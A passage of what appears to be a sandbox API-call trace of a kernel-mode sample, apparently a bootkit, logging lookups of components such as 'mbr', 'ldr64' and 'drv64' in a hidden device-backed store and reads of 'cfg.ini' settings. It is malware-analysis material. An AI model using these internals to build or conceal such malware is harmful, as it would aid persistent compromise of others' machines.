Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.412] IdePortDispatch () returned 0x103 [0122.412] KeWaitForMutexObject () returned 0x0 [0122.412] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.413] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.413] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.413] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.413] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.413] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.413] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.413] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.413] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.413] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.413] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.413] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.413] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.413] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.413] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.413] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.413] KeLeaveCriticalRegion () [0122.413] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.413] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.413] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.413] KeEnterCriticalRegion () [0122.413] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.413] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.413] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.413] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.413] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.413] IdePortDispatch () returned 0x103 [0122.413] KeWaitForMutexObject () returned 0x0 [0122.413] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.413] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.413] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.413] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.413] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.413] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.413] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.413] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.413] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.413] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.413] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.413] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.413] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.413] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.413] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.413] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.414] KeLeaveCriticalRegion () [0122.414] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.414] ReleaseMutex (hMutex=0x100) returned 1 [0122.414] Sleep (dwMilliseconds=0x2bf20) [0122.420] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c28dd70, dwHighDateTime=0x1d24fa4)) [0122.420] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.420] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.420] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.420] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.420] KeEnterCriticalRegion () [0122.420] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.420] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.420] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.420] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.420] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.420] IdePortDispatch () returned 0x103 [0122.420] KeWaitForMutexObject () returned 0x0 [0122.420] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.420] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.420] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.420] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.420] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.420] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be4e50 [0122.420] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.420] KeLeaveCriticalRegion () [0122.420] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.420] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.420] KeEnterCriticalRegion () [0122.420] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.421] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.421] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.421] KeLeaveCriticalRegion () [0122.421] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.421] KeEnterCriticalRegion () [0122.421] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.421] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.421] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.421] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.421] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.421] IdePortDispatch () returned 0x103 [0122.421] KeWaitForMutexObject () returned 0x0 [0122.421] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.421] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.421] KeLeaveCriticalRegion () [0122.421] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.421] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.421] KeEnterCriticalRegion () [0122.421] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.421] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c87000 [0122.421] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.421] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.421] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.421] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.421] IdePortDispatch () returned 0x103 [0122.421] KeWaitForMutexObject () returned 0x0 [0122.421] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.421] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.421] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.421] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.421] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.422] IdePortDispatch () returned 0x103 [0122.422] KeWaitForMutexObject () returned 0x0 [0122.422] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.422] KeLeaveCriticalRegion () [0122.422] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.422] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.422] KeEnterCriticalRegion () [0122.422] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.422] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.422] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.422] KeLeaveCriticalRegion () [0122.422] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.422] KeEnterCriticalRegion () [0122.422] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.422] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.422] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be59f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.422] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.422] KeLeaveCriticalRegion () [0122.422] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.422] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.422] KeEnterCriticalRegion () [0122.423] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.423] ExFreePoolWithTag (P=0xfffffa8003be4e50, Tag=0x0) [0122.423] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.423] KeLeaveCriticalRegion () [0122.423] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.423] ReleaseMutex (hMutex=0xf0) returned 1 [0122.423] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.423] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.423] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.423] KeEnterCriticalRegion () [0122.423] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.423] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.423] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.423] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.423] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.423] IdePortDispatch () returned 0x103 [0122.423] KeWaitForMutexObject () returned 0x0 [0122.423] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.423] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.423] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.423] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.423] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.423] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be5f00 [0122.423] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.423] KeLeaveCriticalRegion () [0122.423] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.423] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.423] KeEnterCriticalRegion () [0122.423] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.423] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.423] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.423] KeLeaveCriticalRegion () [0122.423] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.423] KeEnterCriticalRegion () [0122.423] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.423] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.423] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.423] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.424] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.424] IdePortDispatch () returned 0x103 [0122.424] KeWaitForMutexObject () returned 0x0 [0122.424] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.424] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.424] KeLeaveCriticalRegion () [0122.424] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.424] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.424] KeEnterCriticalRegion () [0122.424] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.424] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c88000 [0122.424] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.424] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.424] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.424] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.424] IdePortDispatch () returned 0x103 [0122.424] KeWaitForMutexObject () returned 0x0 [0122.424] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.424] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.424] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.424] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.424] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.424] IdePortDispatch () returned 0x103 [0122.424] KeWaitForMutexObject () returned 0x0 [0122.425] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.425] KeLeaveCriticalRegion () [0122.425] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.425] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.425] KeEnterCriticalRegion () [0122.425] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.425] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.425] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.425] KeLeaveCriticalRegion () [0122.425] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.425] KeEnterCriticalRegion () [0122.425] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.425] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.425] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be4340, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.425] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.425] KeLeaveCriticalRegion () [0122.425] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.425] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.425] KeEnterCriticalRegion () [0122.425] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.425] ExFreePoolWithTag (P=0xfffffa8003be5f00, Tag=0x0) [0122.425] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.425] KeLeaveCriticalRegion () [0122.425] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.425] ReleaseMutex (hMutex=0xf0) returned 1 [0122.425] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.425] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.426] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.426] KeEnterCriticalRegion () [0122.426] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.426] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.426] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.426] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.426] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.426] IdePortDispatch () returned 0x103 [0122.426] KeWaitForMutexObject () returned 0x0 [0122.426] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.426] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.426] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.426] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.426] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.426] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be5c40 [0122.426] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.426] KeLeaveCriticalRegion () [0122.426] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.426] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.426] KeEnterCriticalRegion () [0122.426] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.426] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.426] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.426] KeLeaveCriticalRegion () [0122.426] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.426] KeEnterCriticalRegion () [0122.426] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.426] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.426] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.426] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.426] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.426] IdePortDispatch () returned 0x103 [0122.426] KeWaitForMutexObject () returned 0x0 [0122.427] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.427] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.427] KeLeaveCriticalRegion () [0122.427] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.427] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.427] KeEnterCriticalRegion () [0122.427] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.427] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c89000 [0122.427] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.427] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.427] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.427] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.427] IdePortDispatch () returned 0x103 [0122.427] KeWaitForMutexObject () returned 0x0 [0122.427] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.427] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.427] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.427] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.427] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.427] IdePortDispatch () returned 0x103 [0122.427] KeWaitForMutexObject () returned 0x0 [0122.427] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.427] KeLeaveCriticalRegion () [0122.427] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) 